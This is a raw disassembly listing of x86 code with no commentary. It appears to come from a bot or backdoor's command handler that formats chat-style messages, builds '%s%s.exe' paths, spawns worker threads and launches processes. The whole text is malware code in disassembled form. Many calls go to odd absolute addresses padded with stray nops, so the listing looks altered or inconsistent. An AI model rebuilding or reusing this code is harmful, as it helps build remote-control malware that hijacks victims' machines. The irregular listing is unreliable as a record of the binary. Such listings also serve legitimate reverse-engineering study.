		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_409855
		push	[ebp+arg_10]
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409855
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409855
		push	ebx
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E59C[eax]
		call	sub_409A73
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43E390[eax], 73h
		jnz	loc_409855
		push	esi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43E5A8
		push	eax
		push	edi
		push	offset aSSS_1	; "[%s]	<%s> %s"


loc_407A36:				; CODE XREF: sub_401ACD+5E8Cj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 28h
		jmp	loc_409855
; ---------------------------------------------------------------------------


loc_407A63:				; CODE XREF: sub_401ACD+4ED2j
					; sub_401ACD+4EE9j
		push	[ebp+arg_10]
		call	dword_4CB694
		push	edi
		mov	[ebp+var_680], eax
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_690], eax
		call	sub_41B779
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_688], eax
		lea	eax, [ebp+var_710]
		mov	[ebp+var_714], esi
		push	eax
		call	sub_41B5F0
		add	esp, 14h
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_678], edi
		push	[ebp+var_688]
		mov	[ebp+var_674], eax
		push	[ebp+var_690]
		push	[ebp+var_680]
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42AAE0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F7
		add	esp, 20h
		mov	[ebp+var_684], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_714]
		push	ebx
		push	eax
		push	offset byte_40C669
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_684]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_407B45


loc_407B2F:				; CODE XREF: sub_401ACD+6076j
		cmp	[ebp+var_670], ebx
		jnz	loc_403DA1
		push	32h
		nop
		call	near ptr 2660E9Fh
		jmp	short loc_407B2F
; ---------------------------------------------------------------------------


loc_407B45:				; CODE XREF: sub_401ACD+6060j
		nop
		call	near ptr 26709D6h
		push	eax
		push	offset unk_42ABD4
		jmp	loc_403D92
; ---------------------------------------------------------------------------


loc_407B56:				; CODE XREF: sub_401ACD+4EA4j
					; sub_401ACD+4EBBj
		push	[ebp+arg_10]
		call	sub_41B779
		mov	[ebp+var_112C],	eax
		push	7Fh
		lea	eax, [ebp+var_1230]
		push	edi
		push	eax
		call	sub_41B5F0
		push	[ebp+arg_0]
		call	sub_41B779
		mov	esi, [ebp+arg_4]
		add	esp, 14h
		mov	[ebp+var_1130],	eax
		lea	eax, [ebp+var_11B0]
		push	[ebp+var_88]
		mov	[ebp+var_1238],	esi
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	edi, [ebp+var_4]
		mov	[ebp+var_111C],	eax
		push	[ebp+var_1130]
		lea	eax, [ebp+var_1230]
		mov	[ebp+var_1120],	edi
		push	eax
		push	[ebp+var_112C]
		push	esi
		call	sub_40AC10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42AAA4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	18h
		push	eax
		call	sub_40B0F7
		add	esp, 24h
		mov	[ebp+var_1128],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1238]
		push	ebx
		push	eax
		push	offset loc_4103AB
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_1128]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_407C42


loc_407C2C:				; CODE XREF: sub_401ACD+6173j
		cmp	[ebp+var_1118],	ebx
		jnz	loc_403DA1
		push	32h
		call	near ptr 2660E9Fh
		nop
		jmp	short loc_407C2C
; ---------------------------------------------------------------------------


loc_407C42:				; CODE XREF: sub_401ACD+615Dj
		call	near ptr 26709D6h
		nop
		push	eax
		push	offset unk_42AA60
		jmp	loc_403D92
; ---------------------------------------------------------------------------


loc_407C53:				; CODE XREF: sub_401ACD+4E76j
					; sub_401ACD+4E8Dj
		push	0FFh
		lea	eax, [ebp+var_2878]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	0FFh
		lea	eax, [ebp+var_2778]
		push	edi
		push	eax
		call	sub_41B5F0
		push	[ebp+arg_0]
		mov	[ebp+var_2674],	ebx
		call	sub_41B779
		mov	[ebp+var_2670],	eax
		mov	eax, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_407CAC
		push	10h
		push	ebx
		push	eax
		call	sub_41BDC5
		add	esp, 0Ch
		mov	[ebp+var_2668],	eax
		jmp	short loc_407CB2
; ---------------------------------------------------------------------------


loc_407CAC:				; CODE XREF: sub_401ACD+61C9j
		mov	[ebp+var_2668],	ebx


loc_407CB2:				; CODE XREF: sub_401ACD+61DDj
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	short loc_407CC9
		push	esi
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_266C],	eax
		jmp	short loc_407CCF
; ---------------------------------------------------------------------------


loc_407CC9:				; CODE XREF: sub_401ACD+61EBj
		mov	[ebp+var_266C],	ebx


loc_407CCF:				; CODE XREF: sub_401ACD+61FAj
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2664],	eax
		lea	eax, [ebp+var_28F8]
		mov	[ebp+var_28FC],	esi
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_265C],	eax
		mov	eax, [ebp+var_8]
		push	edi
		mov	[ebp+var_2660],	eax
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42AA34
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Dh
		push	eax
		call	sub_40B0F7
		add	esp, 1Ch
		mov	[ebp+var_2678],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_28FC]
		push	ebx
		push	eax
		push	offset loc_4163FA
		push	ebx
		push	ebx
		call	near ptr 2670000h
		nop
		mov	ecx, [ebp+var_2678]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_407D80


loc_407D6A:				; CODE XREF: sub_401ACD+62B1j
		cmp	[ebp+var_2658],	ebx
		jnz	loc_407279
		push	32h
		call	near ptr 2660E9Fh
		nop
		jmp	short loc_407D6A
; ---------------------------------------------------------------------------


loc_407D80:				; CODE XREF: sub_401ACD+629Bj
		nop
		call	near ptr 26709D6h
		push	eax
		push	offset unk_42A9F4
		jmp	loc_40726A
; ---------------------------------------------------------------------------


loc_407D91:				; CODE XREF: sub_401ACD+4E48j
					; sub_401ACD+4E5Fj
		push	7Fh
		lea	eax, [ebp+var_3490]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3410]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3390]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3310]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_328C],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3288],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_3494],	esi
		push	[ebp+arg_10]
		push	offset unk_42A9B8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	12h
		push	eax
		call	sub_40B0F7
		add	esp, 20h
		mov	[ebp+var_3290],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3494]
		push	ebx
		push	eax
		push	offset word_414A92
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_3290]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_407E68


loc_407E52:				; CODE XREF: sub_401ACD+6399j
		cmp	[ebp+var_3284],	ebx
		jnz	loc_407279
		push	32h
		call	near ptr 2660E9Fh
		nop
		jmp	short loc_407E52
; ---------------------------------------------------------------------------


loc_407E68:				; CODE XREF: sub_401ACD+6383j
		call	near ptr 26709D6h
		nop
		push	eax
		push	offset unk_42A980
		jmp	loc_40726A
; ---------------------------------------------------------------------------


loc_407E79:				; CODE XREF: sub_401ACD+4D1Bj
					; sub_401ACD+4D32j
		push	7Fh
		lea	eax, [ebp+var_3068]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_2FE8]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_2F68]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_2EE8]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2E64],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2E60],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_306C],	esi
		push	[ebp+arg_10]
		push	offset unk_42A950
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Eh
		push	eax
		call	sub_40B0F7
		add	esp, 20h
		mov	[ebp+var_2E68],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_306C]
		push	ebx
		push	eax
		push	offset byte_4137CD
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_2E68]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_407F50


loc_407F3A:				; CODE XREF: sub_401ACD+6481j
		cmp	[ebp+var_2E5C],	ebx
		jnz	loc_407279
		push	32h
		call	near ptr 2660E9Fh
		nop
		jmp	short loc_407F3A
; ---------------------------------------------------------------------------


loc_407F50:				; CODE XREF: sub_401ACD+646Bj
		nop
		call	near ptr 26709D6h
		push	eax
		push	offset unk_42A918
		jmp	loc_40726A
; ---------------------------------------------------------------------------


loc_407F61:				; CODE XREF: sub_401ACD+4BF2j
					; sub_401ACD+4C09j ...
		push	7Fh
		lea	eax, [ebp+var_3CE4]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3C64]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3BE4]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3B64]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		push	20h
		lea	eax, [ebp+var_3AE4]
		push	[ebp+arg_8]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 3Ch
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3A64],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3A60],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_3CEC],	esi
		push	[ebp+arg_10]
		push	offset unk_42A8E8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Dh
		push	eax
		call	sub_40B0F7
		add	esp, 20h
		mov	[ebp+var_3CE8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3CEC]
		push	ebx
		push	eax
		push	offset dword_412A54
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_3CE8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_408049


loc_408033:				; CODE XREF: sub_401ACD+657Aj
		cmp	[ebp+var_3A5C],	ebx
		jnz	loc_407279
		push	32h
		nop
		call	near ptr 2660E9Fh
		jmp	short loc_408033
; ---------------------------------------------------------------------------


loc_408049:				; CODE XREF: sub_401ACD+6564j
		nop
		call	near ptr 26709D6h
		push	eax
		push	offset unk_42A8B0
		jmp	loc_40726A
; ---------------------------------------------------------------------------


loc_40805A:				; CODE XREF: sub_401ACD+4BC4j
					; sub_401ACD+4BDBj
		push	7Fh
		lea	eax, [ebp+var_1778]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	edi
		call	sub_41B779
		push	3Fh
		mov	[ebp+var_1628],	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_16F8]
		push	eax
		call	sub_41B5F0
		mov	esi, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_4080A5
		push	3Fh
		lea	eax, [ebp+var_16B8]
		push	esi
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_4080A5:				; CODE XREF: sub_401ACD+65C4j
		lea	eax, [ebp+var_16F8]
		mov	[ebp+var_1624],	1
		push	eax
		lea	eax, [ebp+var_1778]
		push	[ebp+var_1628]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A880
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Fh
		push	eax
		call	sub_40B0F7
		add	esp, 20h
		mov	[ebp+var_1620],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_177C]
		push	ebx
		push	eax
		push	offset sub_4017ED
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_1620]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_408131


loc_40811B:				; CODE XREF: sub_401ACD+6662j
		cmp	[ebp+var_161C],	ebx
		jnz	loc_406CDF
		push	32h
		call	near ptr 2660E9Fh
		nop
		jmp	short loc_40811B
; ---------------------------------------------------------------------------


loc_408131:				; CODE XREF: sub_401ACD+664Cj
		nop
		call	near ptr 26709D6h
		push	eax
		push	offset dword_42A844
		jmp	loc_406CD0
; ---------------------------------------------------------------------------


loc_408142:				; CODE XREF: sub_401ACD+4B84j
					; sub_401ACD+4B9Bj
		push	edi
		call	sub_41B779
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_1D64],	eax
		jle	loc_408235
		push	[ebp+arg_10]
		mov	esi, 80h
		lea	eax, [ebp+var_1EEC]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_1D60],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1EF0],	eax
		lea	eax, [ebp+var_1DEC]
		push	esi
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1D5C],	eax
		mov	eax, [ebp+var_8]
		push	edi
		mov	[ebp+var_1D58],	eax
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A818
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	15h
		push	eax
		call	sub_40B0F7
		add	esp, 20h
		mov	[ebp+var_1D6C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1EF0]
		push	ebx
		push	eax
		push	offset word_412E9E
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_1D6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_408224


loc_408212:				; CODE XREF: sub_401ACD+6755j
		cmp	[ebp+var_1D54],	ebx
		jnz	short loc_40828C
		push	32h
		nop
		call	near ptr 2660E9Fh
		jmp	short loc_408212
; ---------------------------------------------------------------------------


loc_408224:				; CODE XREF: sub_401ACD+6743j
		nop
		call	near ptr 26709D6h
		push	eax
		push	offset unk_42A7E0
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_408235:				; CODE XREF: sub_401ACD+6684j
		push	offset unk_42A7A8
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_40823F:				; CODE XREF: sub_401ACD+4B56j
					; sub_401ACD+4B6Dj
		push	edi
		push	[ebp+arg_10]
		nop
		call	near ptr 2690A19h
		test	eax, eax
		jz	short loc_40826C
		push	edi
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	offset unk_42A784
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	short loc_40828C
; ---------------------------------------------------------------------------


loc_40826C:				; CODE XREF: sub_401ACD+677Ej
		push	offset dword_42A778
		call	sub_41814D
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980


loc_408289:				; CODE XREF: sub_401ACD+2F2Bj
					; sub_401ACD+5570j
		add	esp, 0Ch


loc_40828C:				; CODE XREF: sub_401ACD+2137j
					; sub_401ACD+2ECDj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BD
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]


loc_4082A9:				; CODE XREF: sub_401ACD+57C7j
		call	sub_409A73
		add	esp, 14h
		jmp	loc_4083BD
; ---------------------------------------------------------------------------


loc_4082B6:				; CODE XREF: sub_401ACD+4B28j
					; sub_401ACD+4B3Fj
		push	[ebp+arg_10]
		lea	eax, [ebp+var_3F04]
		push	104h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		cmp	[ebp+var_C], ebx
		jz	short loc_4082F0
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4082F0
		push	eax
		lea	eax, [ebp+var_3E00]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_4082F0:				; CODE XREF: sub_401ACD+6803j
					; sub_401ACD+6812j
		push	[ebp+var_88]
		lea	eax, [ebp+var_3F84]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_3F88],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_3CF8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3CF4],	eax
		lea	eax, [ebp+var_3E00]
		push	eax
		lea	eax, [ebp+var_3F04]
		push	eax
		push	offset unk_42A748
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	24h
		push	eax
		call	sub_40B0F7
		add	esp, 20h
		mov	[ebp+var_3CFC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3F88]
		push	ebx
		push	eax
		push	offset word_416CAE
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_3CFC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_4083A2


loc_408390:				; CODE XREF: sub_401ACD+68D3j
		cmp	[ebp+var_3CF0],	ebx
		jnz	short loc_4083BD
		push	32h
		nop
		call	near ptr 2660E9Fh
		jmp	short loc_408390
; ---------------------------------------------------------------------------


loc_4083A2:				; CODE XREF: sub_401ACD+68C1j
		nop
		call	near ptr 26709D6h
		push	eax
		push	offset unk_42A70C


loc_4083AE:				; CODE XREF: sub_401ACD+925j
					; sub_401ACD+A63j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_4083BD:				; CODE XREF: sub_401ACD+7E1j
					; sub_401ACD+94Cj ...
		push	1
		pop	esi
		jmp	loc_406D03
; ---------------------------------------------------------------------------


loc_4083C5:				; CODE XREF: sub_401ACD+4AFAj
					; sub_401ACD+4B11j
		push	44h
		lea	eax, [ebp+var_668]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41B590
		push	1
		mov	[ebp+var_668], esi
		pop	esi
		mov	[ebp+var_638], bx
		push	[ebp+arg_10]
		mov	[ebp+var_63C], esi
		call	sub_41B779
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_408404
		mov	[ebp+var_638], 5


loc_408404:				; CODE XREF: sub_401ACD+692Cj
		cmp	[ebp+var_C], ebx
		jz	loc_406CDF
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_406CDF
		lea	eax, [ebp+var_E10]
		push	eax
		lea	eax, [ebp+var_668]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		nop
		call	near ptr 2650BD4h
		test	eax, eax
		jnz	short loc_40844D
		push	offset unk_42A6E8
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_40844D:				; CODE XREF: sub_401ACD+6974j
		push	edi
		push	offset dword_42A6CC
		jmp	loc_406CD0
; ---------------------------------------------------------------------------


loc_408458:				; CODE XREF: sub_401ACD+4ACCj
					; sub_401ACD+4AE3j
		push	edi
		push	offset aQsfposs	; "qsfposs"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085D1
		lea	eax, [ebp+var_48F0]
		push	eax
		push	104h
		nop
		call	near ptr 2690000h
		push	0FFh
		lea	eax, [ebp+var_25D0]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_17D0]
		push	eax
		call	sub_40AD81
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_48F0]
		push	eax
		lea	eax, [ebp+var_24D0]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_41B886
		mov	eax, [ebp+esi+var_84]
		add	esp, 10h
		cmp	eax, ebx
		mov	[ebp+var_23CC],	1
		mov	[ebp+var_23C8],	ebx
		jz	short loc_4084ED
		push	10h
		push	ebx
		push	eax
		call	sub_41BDC5
		add	esp, 0Ch
		mov	[ebp+var_23C0],	eax
		jmp	short loc_4084F3
; ---------------------------------------------------------------------------


loc_4084ED:				; CODE XREF: sub_401ACD+6A0Aj
		mov	[ebp+var_23C0],	ebx


loc_4084F3:				; CODE XREF: sub_401ACD+6A1Ej
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	short loc_40850A
		push	esi
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_23C4],	eax
		jmp	short loc_408510
; ---------------------------------------------------------------------------


loc_40850A:				; CODE XREF: sub_401ACD+6A2Cj
		mov	[ebp+var_23C4],	ebx


loc_408510:				; CODE XREF: sub_401ACD+6A3Bj
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_23BC],	eax
		lea	eax, [ebp+var_2650]
		mov	[ebp+var_2654],	esi
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_23B4],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_10]
		mov	[ebp+var_23B8],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A694
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Eh
		push	eax
		call	sub_40B0F7
		add	esp, 18h
		mov	[ebp+var_23D0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2654]
		push	ebx
		push	eax
		push	offset loc_4163FA
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_23D0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_4085C0


loc_4085AA:				; CODE XREF: sub_401ACD+6AF1j
		cmp	[ebp+var_23B0],	ebx
		jnz	loc_406CDF
		push	32h
		nop
		call	near ptr 2660E9Fh
		jmp	short loc_4085AA
; ---------------------------------------------------------------------------


loc_4085C0:				; CODE XREF: sub_401ACD+6ADBj
		nop
		call	near ptr 26709D6h
		push	eax
		push	offset dword_42A658
		jmp	loc_406CD0
; ---------------------------------------------------------------------------


loc_4085D1:				; CODE XREF: sub_401ACD+699Aj
		push	offset dword_42A610


loc_4085D6:				; CODE XREF: sub_401ACD+2E74j
					; sub_401ACD+457Dj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_406CDF
; ---------------------------------------------------------------------------


loc_4085E9:				; CODE XREF: sub_401ACD+4A9Ej
					; sub_401ACD+4AB5j
		push	[ebp+var_8C]
		push	offset dword_42D028
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		cmp	[ebp+var_C], ebx
		jz	loc_401E94
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42A600
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 28h
		test	eax, eax
		jle	short loc_408674
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 3E8h
		pop	ecx
		push	eax
		nop
		call	near ptr 2660E9Fh


loc_408674:				; CODE XREF: sub_401ACD+6B8Fj
		push	offset dword_42A5EC
		call	sub_4151AD
		mov	eax, [ebp+arg_24]
		pop	ecx
		inc	eax
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_408688:				; CODE XREF: sub_401ACD+4A70j
					; sub_401ACD+4A87j
		push	[ebp+var_8C]
		push	offset dword_42D028
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		inc	edi
		push	offset aRepeat	; "repeat"
		push	edi
		mov	esi, eax
		call	sub_41C070
		add	esp, 10h
		test	eax, eax
		push	esi
		jz	short loc_408746
		push	[ebp+var_88]
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42A600
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		add	esp, 24h
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset dword_42A5D4
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h
		test	eax, eax
		jle	loc_409855
		push	[ebp+arg_10]
		call	sub_41B779
		add	eax, [ebp+arg_24]
		pop	ecx
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_408746:				; CODE XREF: sub_401ACD+6BFBj
		push	offset unk_42A5A0


loc_40874B:				; CODE XREF: sub_401ACD+7543j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40875A:				; CODE XREF: sub_401ACD+74CBj
					; sub_401ACD+7624j
		cmp	[ebp+var_8], ebx
		jnz	short loc_40877B
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h


loc_40877B:				; CODE XREF: sub_401ACD+6C90j
					; sub_401ACD+72C8j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD
		jmp	loc_409854
; ---------------------------------------------------------------------------


loc_40878C:				; CODE XREF: sub_401ACD+4A42j
					; sub_401ACD+4A59j
		push	7Fh
		lea	eax, [ebp+var_2214]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_2194]
		push	edi
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_2114]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 24h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2090],	eax
		mov	eax, [ebp+var_8]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_208C],	eax
		lea	eax, [ebp+var_2C4]
		mov	[ebp+var_2218],	esi
		push	offset unk_42A56C
		push	eax
